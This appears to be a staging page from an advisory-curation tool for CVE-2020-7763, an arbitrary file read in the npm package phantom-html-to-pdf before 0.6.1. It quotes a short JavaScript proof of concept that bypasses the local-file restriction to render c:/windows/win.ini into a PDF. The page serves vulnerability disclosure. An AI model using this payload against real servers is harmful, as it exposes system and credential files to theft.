Staging Environment: Content and features may be unstable or change without notice.

Advisory Weakness Curation

CVE-2020-7763

Progress 0 / 0

Advisory Summaries

github_osv/GHSA-6h7f-qwqm-35pp

Arbitrary File Read in phantom-html-to-pdf This affects the package phantom-html-to-pdf before 0.6.1. ### PoC ```js var fs = require('fs') var conversion = require("phantom-html-to-pdf")(); conversion.allowLocalFilesAccess = false conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) { var output = fs.createWriteStream('output.pdf') console.log(pdf.logs); console.log(pdf.numberOfPages); pdf.stream.pipe(output); }); ```

gitlab/npm/phantom-html-to-pdf/CVE-2020-7763

Information Exposure This affects the package phantom-html-to-pdf